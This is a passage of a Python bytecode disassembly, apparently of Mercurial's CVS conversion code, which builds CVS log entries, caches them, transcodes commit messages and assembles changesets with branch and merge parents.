STORE_ATTR comment LOAD_GLOBAL len LOAD_FAST e LOAD_ATTR revision CALL_FUNCTION STORE_FAST revn LOAD_FAST revn LOAD_CONST 3 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST revn LOAD_CONST 2 BINARY_MODULO LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST tags LOAD_METHOD get LOAD_FAST e LOAD_ATTR revision LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR LOAD_CONST None BUILD_LIST CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST e STORE_ATTR branch JUMP_FORWARD to 2690 LOAD_CONST None LOAD_FAST e STORE_ATTR branch LOAD_GLOBAL set CALL_FUNCTION STORE_FAST branchpoints SETUP_LOOP to 2858 LOAD_DEREF branchmap LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 2856 UNPACK_SEQUENCE STORE_FAST branch STORE_FAST revision LOAD_GLOBAL tuple LOAD_CONST <code object <listcomp> at 0x7fab8018a5d0, file "f.py", line 403> LOAD_CONST 'createlog.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST revision LOAD_METHOD split LOAD_CONST b'.' CALL_METHOD GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST revparts LOAD_GLOBAL len LOAD_FAST revparts CALL_FUNCTION LOAD_CONST 2 COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_FALSE EXTENDED_ARG JUMP_ABSOLUTE LOAD_FAST revparts LOAD_CONST -2 BINARY_SUBSCR LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST revparts LOAD_CONST -1 BINARY_SUBSCR LOAD_CONST 2 BINARY_MODULO LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST revparts LOAD_CONST None LOAD_CONST -2 BUILD_SLICE BINARY_SUBSCR LOAD_FAST e LOAD_ATTR revision COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST branchpoints LOAD_METHOD add LOAD_FAST branch CALL_METHOD POP_TOP JUMP_FORWARD to 2852 LOAD_FAST revparts LOAD_CONST (1, 1, 1) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST revparts LOAD_FAST e LOAD_ATTR branches COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST branchpoints LOAD_METHOD add LOAD_FAST branch CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST branchpoints LOAD_FAST e STORE_ATTR branchpoints LOAD_FAST log LOAD_METHOD append LOAD_FAST e CALL_METHOD POP_TOP LOAD_FAST e LOAD_ATTR rcs LOAD_FAST rcsmap LOAD_FAST e LOAD_ATTR rcs LOAD_METHOD replace LOAD_CONST b'/Attic/' LOAD_CONST b'/' CALL_METHOD STORE_SUBSCR LOAD_GLOBAL len LOAD_FAST log CALL_FUNCTION LOAD_CONST 100 BINARY_MODULO LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ui LOAD_METHOD status LOAD_GLOBAL stringutil LOAD_METHOD ellipsis LOAD_CONST b'%d %s' LOAD_GLOBAL len LOAD_FAST log CALL_FUNCTION LOAD_FAST e LOAD_ATTR file BUILD_TUPLE BINARY_MODULO LOAD_CONST 80 CALL_METHOD LOAD_CONST b'\n' BINARY_ADD CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST log LOAD_ATTR sort LOAD_CONST <code object <lambda> at 0x7fab8018a660, file "f.py", line 423> LOAD_CONST 'createlog.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST ('key',) CALL_FUNCTION POP_TOP BUILD_MAP STORE_FAST versions SETUP_LOOP to 3066 LOAD_GLOBAL sorted LOAD_FAST oldlog LOAD_CONST <code object <lambda> at 0x7fab8018a4b0, file "f.py", line 426> LOAD_CONST 'createlog.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST ('key',) CALL_FUNCTION GET_ITER FOR_ITER to 3064 STORE_FAST e LOAD_FAST e LOAD_ATTR rcs LOAD_METHOD replace LOAD_CONST b'/Attic/' LOAD_CONST b'/' CALL_METHOD STORE_FAST rcs LOAD_FAST rcs LOAD_FAST rcsmap COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST rcsmap LOAD_FAST rcs BINARY_SUBSCR LOAD_FAST e STORE_ATTR rcs LOAD_FAST e LOAD_ATTR revision LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR STORE_FAST branch LOAD_FAST e LOAD_ATTR revision LOAD_FAST versions LOAD_FAST e LOAD_ATTR rcs LOAD_FAST branch BUILD_TUPLE STORE_SUBSCR EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 3160 LOAD_FAST log GET_ITER FOR_ITER to 3158 STORE_FAST e LOAD_FAST e LOAD_ATTR revision LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR STORE_FAST branch LOAD_FAST versions LOAD_METHOD get LOAD_FAST e LOAD_ATTR rcs LOAD_FAST branch BUILD_TUPLE LOAD_CONST None CALL_METHOD STORE_FAST p LOAD_FAST p LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST e LOAD_ATTR revision LOAD_CONST None LOAD_CONST -2 BUILD_SLICE BINARY_SUBSCR STORE_FAST p LOAD_FAST p LOAD_FAST e STORE_ATTR parent LOAD_FAST e LOAD_ATTR revision LOAD_FAST versions LOAD_FAST e LOAD_ATTR rcs LOAD_FAST branch BUILD_TUPLE STORE_SUBSCR EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST cache EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST log EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST log LOAD_ATTR sort LOAD_CONST <code object <lambda> at 0x7fab8018a270, file "f.py", line 443> LOAD_CONST 'createlog.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST ('key',) CALL_FUNCTION POP_TOP LOAD_FAST oldlog EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST oldlog LOAD_CONST -1 BINARY_SUBSCR LOAD_ATTR date LOAD_FAST log LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR date COMPARE_OP >= EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logerror LOAD_GLOBAL _ LOAD_CONST b'log cache overlaps with new log entries, re-run without cache.' CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS LOAD_FAST oldlog LOAD_FAST log BINARY_ADD STORE_FAST log LOAD_FAST ui LOAD_METHOD note LOAD_GLOBAL _ LOAD_CONST b'writing cvs log cache %s\n' CALL_FUNCTION LOAD_FAST cachefile BINARY_MODULO CALL_METHOD POP_TOP LOAD_GLOBAL pickle LOAD_METHOD dump LOAD_FAST log LOAD_GLOBAL open LOAD_FAST cachefile LOAD_CONST b'wb' CALL_FUNCTION CALL_METHOD POP_TOP JUMP_FORWARD to 3278 LOAD_FAST oldlog STORE_FAST log LOAD_FAST ui LOAD_METHOD status LOAD_GLOBAL _ LOAD_CONST b'%d log entries\n' CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST log CALL_FUNCTION BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST ui LOAD_METHOD configlist LOAD_CONST b'convert' LOAD_CONST b'cvsps.logencoding' CALL_METHOD STORE_FAST encodings LOAD_FAST encodings EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST <code object revstr at 0x7fab8018ab70, file "f.py", line 465> LOAD_CONST 'createlog.<locals>.revstr' MAKE_FUNCTION STORE_FAST revstr SETUP_LOOP to 3550 LOAD_FAST log GET_ITER FOR_ITER to 3548 STORE_FAST entry LOAD_FAST entry LOAD_ATTR comment STORE_FAST comment SETUP_LOOP to 3544 LOAD_FAST encodings GET_ITER FOR_ITER to 3504 STORE_FAST e SETUP_EXCEPT to 3420 LOAD_FAST comment LOAD_METHOD decode LOAD_GLOBAL pycompat LOAD_METHOD sysstr LOAD_FAST e CALL_METHOD CALL_METHOD LOAD_METHOD encode LOAD_CONST 'utf-8' CALL_METHOD LOAD_FAST entry STORE_ATTR comment LOAD_FAST ui LOAD_ATTR debugflag EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ui LOAD_METHOD debug LOAD_CONST b'transcoding by %s: %s of %s\n' LOAD_FAST e LOAD_FAST revstr LOAD_FAST entry LOAD_ATTR revision CALL_FUNCTION LOAD_FAST entry LOAD_ATTR file BUILD_TUPLE BINARY_MODULO CALL_METHOD POP_TOP BREAK_LOOP POP_BLOCK JUMP_FORWARD to 3500 DUP_TOP LOAD_GLOBAL UnicodeDecodeError COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 3500 DUP_TOP LOAD_GLOBAL LookupError COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP STORE_FAST inst POP_TOP SETUP_FINALLY to 3486 LOAD_GLOBAL error LOAD_ATTR Abort LOAD_GLOBAL pycompat LOAD_METHOD bytestr LOAD_FAST inst CALL_METHOD LOAD_GLOBAL _ LOAD_CONST b'check convert.cvsps.logencoding configuration' CALL_FUNCTION LOAD_CONST ('hint',) CALL_FUNCTION RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST inst DELETE_FAST inst END_FINALLY POP_EXCEPT JUMP_FORWARD to 3500 END_FINALLY EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL error LOAD_ATTR Abort LOAD_GLOBAL _ LOAD_CONST b'no encoding can transcode CVS log message for %s of %s' CALL_FUNCTION LOAD_FAST revstr LOAD_FAST entry LOAD_ATTR revision CALL_FUNCTION LOAD_FAST entry LOAD_ATTR file BUILD_TUPLE BINARY_MODULO LOAD_GLOBAL _ LOAD_CONST b'check convert.cvsps.logencoding configuration' CALL_FUNCTION LOAD_CONST ('hint',) CALL_FUNCTION RAISE_VARARGS EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL hook LOAD_ATTR hook LOAD_FAST ui LOAD_CONST None LOAD_CONST b'cvslog' LOAD_CONST True LOAD_FAST log LOAD_CONST ('log',) CALL_FUNCTION POP_TOP LOAD_FAST log RETURN_VALUE LOAD_DEREF _scache LOAD_METHOD setdefault LOAD_FAST s LOAD_FAST s CALL_METHOD RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 32 STORE_FAST s LOAD_FAST s POP_JUMP_IF_FALSE LOAD_CONST b'-' LOAD_METHOD join LOAD_GLOBAL re LOAD_METHOD findall LOAD_CONST b'\\w+' LOAD_FAST s CALL_METHOD CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST s LOAD_FAST s POP_JUMP_IF_FALSE LOAD_FAST s LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST arg LOAD_GLOBAL procutil LOAD_METHOD shellquote LOAD_FAST arg CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST x LOAD_GLOBAL int LOAD_FAST x CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST x LOAD_GLOBAL int LOAD_FAST x CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 26 STORE_FAST b LOAD_DEREF branchmap LOAD_FAST b BINARY_SUBSCR LOAD_DEREF myrev COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST b LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 38 STORE_FAST x LOAD_GLOBAL tuple LOAD_CONST <code object <listcomp> at 0x7fab8018a540, file "f.py", line 351> LOAD_CONST 'createlog.<locals>.<listcomp>.<listcomp>' MAKE_FUNCTION LOAD_FAST x LOAD_METHOD strip CALL_METHOD LOAD_METHOD split LOAD_CONST b'.' CALL_METHOD GET_ITER CALL_FUNCTION CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST y LOAD_GLOBAL int LOAD_FAST y CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST x LOAD_DEREF scache LOAD_FAST x CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST i LOAD_GLOBAL int LOAD_FAST i CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST x LOAD_ATTR rcs LOAD_FAST x LOAD_ATTR revision BUILD_TUPLE RETURN_VALUE LOAD_FAST x LOAD_ATTR rcs LOAD_FAST x LOAD_ATTR revision BUILD_TUPLE RETURN_VALUE LOAD_FAST x LOAD_ATTR date RETURN_VALUE LOAD_CONST b'.' LOAD_METHOD join LOAD_GLOBAL pycompat LOAD_METHOD maplist LOAD_GLOBAL pycompat LOAD_ATTR bytestr LOAD_FAST r CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'changeset' STORE_NAME __qualname__ LOAD_CONST 'Class changeset has the following attributes:\n .id - integer identifying this changeset (list index)\n .author - author name as CVS knows it\n .branch - name of branch this changeset is on, or None\n .comment - commit message\n .commitid - CVS commitid or None\n .date - the commit date as a (time,tz) tuple\n .entries - list of logentry objects in this changeset\n .parents - list of one or two parent changesets\n .tags - list of tags on this changeset\n .synthetic - from synthetic revision "file ... added on branch ..."\n .mergepoint- the branch that has been merged from or None\n .branchpoints- the branches that start at the current entry or empty\n ' STORE_NAME __doc__ LOAD_CONST <code object __init__ at 0x7fab8018a6f0, file "f.py", line 514> LOAD_CONST 'changeset.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object __repr__ at 0x7fab8018aa50, file "f.py", line 519> LOAD_CONST 'changeset.__repr__' MAKE_FUNCTION STORE_NAME __repr__ LOAD_CONST None RETURN_VALUE LOAD_CONST None LOAD_FAST self STORE_ATTR id LOAD_CONST False LOAD_FAST self STORE_ATTR synthetic LOAD_FAST self LOAD_ATTR __dict__ LOAD_METHOD update LOAD_FAST entries CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7fab8018a8a0, file "f.py", line 520> LOAD_CONST 'changeset.__repr__.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL sorted LOAD_DEREF self LOAD_ATTR __dict__ CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST items LOAD_CONST b'%s(%s)' LOAD_GLOBAL type LOAD_DEREF self CALL_FUNCTION LOAD_ATTR __name__ LOAD_CONST b', ' LOAD_METHOD join LOAD_FAST items CALL_METHOD BUILD_TUPLE BINARY_MODULO RETURN_VALUE LOAD_FAST .0 FOR_ITER to 28 STORE_FAST k LOAD_CONST b'%s=%r' LOAD_FAST k LOAD_DEREF self LOAD_ATTR __dict__ LOAD_FAST k BINARY_SUBSCR BUILD_TUPLE BINARY_MODULO YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST ui LOAD_METHOD status LOAD_GLOBAL _ LOAD_CONST b'creating changesets\n' CALL_FUNCTION CALL_METHOD POP_TOP BUILD_MAP STORE_DEREF mindate SETUP_LOOP to 86 LOAD_FAST log GET_ITER FOR_ITER to 84 STORE_FAST e LOAD_FAST e LOAD_ATTR commitid POP_JUMP_IF_FALSE LOAD_FAST e LOAD_ATTR commitid LOAD_DEREF mindate COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST e LOAD_ATTR date LOAD_DEREF mindate LOAD_FAST e LOAD_ATTR commitid STORE_SUBSCR JUMP_ABSOLUTE LOAD_GLOBAL min LOAD_FAST e LOAD_ATTR date LOAD_DEREF mindate LOAD_FAST e LOAD_ATTR commitid BINARY_SUBSCR CALL_FUNCTION LOAD_DEREF mindate LOAD_FAST e LOAD_ATTR commitid STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST log LOAD_ATTR sort LOAD_CLOSURE mindate BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab8018ac90, file "f.py", line 538> LOAD_CONST 'createchangeset.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST ('key',) CALL_FUNCTION POP_TOP BUILD_LIST STORE_FAST changesets LOAD_GLOBAL set CALL_FUNCTION STORE_FAST files LOAD_CONST None STORE_DEREF c EXTENDED_ARG SETUP_LOOP to 504 LOAD_GLOBAL enumerate LOAD_FAST log CALL_FUNCTION GET_ITER EXTENDED_ARG FOR_ITER to 502 UNPACK_SEQUENCE STORE_FAST i STORE_FAST e LOAD_DEREF c EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST e LOAD_ATTR branchpoints LOAD_DEREF c LOAD_ATTR branchpoints COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST e LOAD_ATTR commitid LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST e LOAD_ATTR commitid LOAD_DEREF c LOAD_ATTR commitid COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST e LOAD_ATTR commitid LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_DEREF c LOAD_ATTR commitid LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST e LOAD_ATTR comment LOAD_DEREF c LOAD_ATTR comment COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST e LOAD_ATTR author LOAD_DEREF c LOAD_ATTR author COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST e LOAD_ATTR branch LOAD_DEREF c LOAD_ATTR branch COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_DEREF c LOAD_ATTR date LOAD_CONST 0 BINARY_SUBSCR LOAD_DEREF c LOAD_ATTR date LOAD_CONST 1 BINARY_SUBSCR BINARY_ADD LOAD_FAST e LOAD_ATTR date LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST e LOAD_ATTR date LOAD_CONST 1 BINARY_SUBSCR BINARY_ADD DUP_TOP ROT_THREE COMPARE_OP <= EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_DEREF c LOAD_ATTR date LOAD_CONST 0 BINARY_SUBSCR LOAD_DEREF c LOAD_ATTR date LOAD_CONST 1 BINARY_SUBSCR BINARY_ADD LOAD_FAST fuzz BINARY_ADD COMPARE_OP <= EXTENDED_ARG POP_JUMP_IF_FALSE JUMP_FORWARD to 330 POP_TOP JUMP_FORWARD to 342 LOAD_FAST e LOAD_ATTR file LOAD_FAST files COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL changeset LOAD_FAST e LOAD_ATTR comment LOAD_FAST e LOAD_ATTR author LOAD_FAST e LOAD_ATTR branch LOAD_FAST e LOAD_ATTR date BUILD_LIST LOAD_FAST e LOAD_ATTR mergepoint LOAD_FAST e LOAD_ATTR branchpoints LOAD_FAST e LOAD_ATTR commitid LOAD_CONST ('comment', 'author', 'branch', 'date', 'entries', 'mergepoint', 'branchpoints', 'commitid') CALL_FUNCTION STORE_DEREF c LOAD_FAST changesets LOAD_METHOD append LOAD_DEREF c CALL_METHOD POP_TOP LOAD_GLOBAL set CALL_FUNCTION STORE_FAST files LOAD_GLOBAL len LOAD_FAST changesets CALL_FUNCTION LOAD_CONST 100 BINARY_MODULO LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST b'%d %s' LOAD_GLOBAL len LOAD_FAST changesets CALL_FUNCTION LOAD_GLOBAL pycompat LOAD_METHOD byterepr LOAD_FAST e LOAD_ATTR comment CALL_METHOD LOAD_CONST 2 LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR BUILD_TUPLE BINARY_MODULO STORE_FAST t LOAD_FAST ui LOAD_METHOD status LOAD_GLOBAL stringutil LOAD_METHOD ellipsis LOAD_FAST t LOAD_CONST 80 CALL_METHOD LOAD_CONST b'\n' BINARY_ADD CALL_METHOD POP_TOP LOAD_DEREF c LOAD_ATTR entries LOAD_METHOD append LOAD_FAST e CALL_METHOD POP_TOP LOAD_FAST files LOAD_METHOD add LOAD_FAST e LOAD_ATTR file CALL_METHOD POP_TOP LOAD_FAST e LOAD_ATTR date LOAD_DEREF c STORE_ATTR date JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 550 LOAD_FAST changesets GET_ITER FOR_ITER to 548 STORE_DEREF c LOAD_GLOBAL len LOAD_DEREF c LOAD_ATTR entries CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG JUMP_IF_FALSE_OR_POP LOAD_DEREF c LOAD_ATTR entries LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR synthetic LOAD_DEREF c STORE_ATTR synthetic EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_CONST <code object entitycompare at 0x7fab8018a150, file "f.py", line 599> LOAD_CONST 'createchangeset.<locals>.entitycompare' MAKE_FUNCTION STORE_FAST entitycompare SETUP_LOOP to 594 LOAD_FAST changesets GET_ITER FOR_ITER to 592 STORE_DEREF c LOAD_DEREF c LOAD_ATTR entries LOAD_ATTR sort LOAD_GLOBAL functools LOAD_METHOD cmp_to_key LOAD_FAST entitycompare CALL_METHOD LOAD_CONST ('key',) CALL_FUNCTION POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL set CALL_FUNCTION STORE_DEREF odd LOAD_CLOSURE odd BUILD_TUPLE LOAD_CONST <code object cscmp at 0x7fab8018adb0, file "f.py", line 622> LOAD_CONST 'createchangeset.<locals>.cscmp' MAKE_FUNCTION STORE_FAST cscmp LOAD_FAST changesets LOAD_ATTR sort LOAD_GLOBAL functools LOAD_METHOD cmp_to_key LOAD_FAST cscmp CALL_METHOD LOAD_CONST ('key',) CALL_FUNCTION POP_TOP BUILD_MAP STORE_DEREF globaltags SETUP_LOOP to 694 LOAD_FAST changesets GET_ITER FOR_ITER to 692 STORE_DEREF c SETUP_LOOP to 688 LOAD_DEREF c LOAD_ATTR entries GET_ITER FOR_ITER to 686 STORE_FAST e SETUP_LOOP to 682 LOAD_FAST e LOAD_ATTR tags GET_ITER FOR_ITER to 680 STORE_FAST tag LOAD_DEREF c LOAD_DEREF globaltags LOAD_FAST tag STORE_SUBSCR EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 772 LOAD_FAST changesets GET_ITER FOR_ITER to 770 STORE_DEREF c LOAD_GLOBAL set CALL_FUNCTION STORE_FAST tags SETUP_LOOP to 740 LOAD_DEREF c LOAD_ATTR entries GET_ITER FOR_ITER to 738 STORE_FAST e LOAD_FAST tags LOAD_METHOD update LOAD_FAST e LOAD_ATTR tags CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL sorted LOAD_CLOSURE c LOAD_CLOSURE globaltags BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7fab8018ae40, file "f.py", line 669> LOAD_CONST 'createchangeset.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST tags GET_ITER CALL_FUNCTION CALL_FUNCTION LOAD_DEREF c STORE_ATTR tags EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST mergeto LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST b'{{mergetobranch ([-\\w]+)}}' STORE_FAST mergeto LOAD_FAST mergeto EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL re LOAD_METHOD compile LOAD_FAST mergeto CALL_METHOD STORE_FAST mergeto LOAD_FAST mergefrom LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST b'{{mergefrombranch ([-\\w]+)}}' STORE_FAST mergefrom LOAD_FAST mergefrom EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL re LOAD_METHOD compile LOAD_FAST mergefrom CALL_METHOD STORE_FAST mergefrom BUILD_MAP STORE_FAST versions BUILD_MAP STORE_FAST branches LOAD_GLOBAL len LOAD_FAST changesets CALL_FUNCTION STORE_FAST n LOAD_CONST 0 STORE_FAST i EXTENDED_ARG SETUP_LOOP to 1520 LOAD_FAST i LOAD_FAST n COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST changesets LOAD_FAST i BINARY_SUBSCR STORE_DEREF c SETUP_LOOP to 908 LOAD_DEREF c LOAD_ATTR entries GET_ITER FOR_ITER to 906 STORE_FAST f LOAD_FAST i LOAD_FAST versions LOAD_FAST f LOAD_ATTR rcs LOAD_FAST f LOAD_ATTR revision BUILD_TUPLE STORE_SUBSCR EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None STORE_FAST p LOAD_DEREF c LOAD_ATTR branch LOAD_FAST branches COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST branches LOAD_DEREF c LOAD_ATTR branch BINARY_SUBSCR STORE_FAST p JUMP_FORWARD to 994 SETUP_LOOP to 994 LOAD_GLOBAL range LOAD_FAST i CALL_FUNCTION GET_ITER FOR_ITER to 992 STORE_FAST candidate LOAD_DEREF c LOAD_ATTR branch LOAD_FAST changesets LOAD_FAST candidate BINARY_SUBSCR LOAD_ATTR branchpoints COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST p LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE BREAK_LOOP EXTENDED_ARG JUMP_ABSOLUTE LOAD_FAST candidate STORE_FAST p EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK BUILD_LIST LOAD_DEREF c STORE_ATTR parents LOAD_FAST p LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST changesets LOAD_FAST p BINARY_SUBSCR STORE_FAST p SETUP_LOOP to 1088 LOAD_FAST p LOAD_ATTR synthetic EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST p LOAD_ATTR parents CALL_FUNCTION LOAD_CONST 1 COMPARE_OP <= EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_GLOBAL _ LOAD_CONST b'synthetic changeset cannot have multiple parents' CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS LOAD_FAST p LOAD_ATTR parents EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST p LOAD_ATTR parents LOAD_CONST 0 BINARY_SUBSCR STORE_FAST p JUMP_FORWARD to 1082 LOAD_CONST None STORE_FAST p BREAK_LOOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST p LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_DEREF c LOAD_ATTR parents LOAD_METHOD append LOAD_FAST p CALL_METHOD POP_TOP LOAD_DEREF c LOAD_ATTR mergepoint EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_DEREF c LOAD_ATTR mergepoint LOAD_CONST b'HEAD' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST None LOAD_DEREF c STORE_ATTR mergepoint LOAD_DEREF c LOAD_ATTR parents LOAD_METHOD append LOAD_FAST changesets LOAD_FAST branches LOAD_DEREF c LOAD_ATTR mergepoint BINARY_SUBSCR BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_FAST mergefrom EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST mergefrom LOAD_METHOD search LOAD_DEREF c LOAD_ATTR comment CALL_METHOD STORE_FAST m LOAD_FAST m EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST m LOAD_METHOD group LOAD_CONST 1 CALL_METHOD STORE_FAST m LOAD_FAST m LOAD_CONST b'HEAD' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST None STORE_FAST m SETUP_EXCEPT to 1224 LOAD_FAST changesets LOAD_FAST branches LOAD_FAST m BINARY_SUBSCR BINARY_SUBSCR STORE_FAST candidate POP_BLOCK JUMP_FORWARD to 1276 DUP_TOP LOAD_GLOBAL KeyError COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST ui LOAD_METHOD warn LOAD_GLOBAL _ LOAD_CONST b'warning: CVS commit message references non-existent branch %r:\n%s\n' CALL_FUNCTION LOAD_GLOBAL pycompat LOAD_METHOD bytestr LOAD_FAST m CALL_METHOD LOAD_DEREF c LOAD_ATTR comment BUILD_TUPLE BINARY_MODULO CALL_METHOD 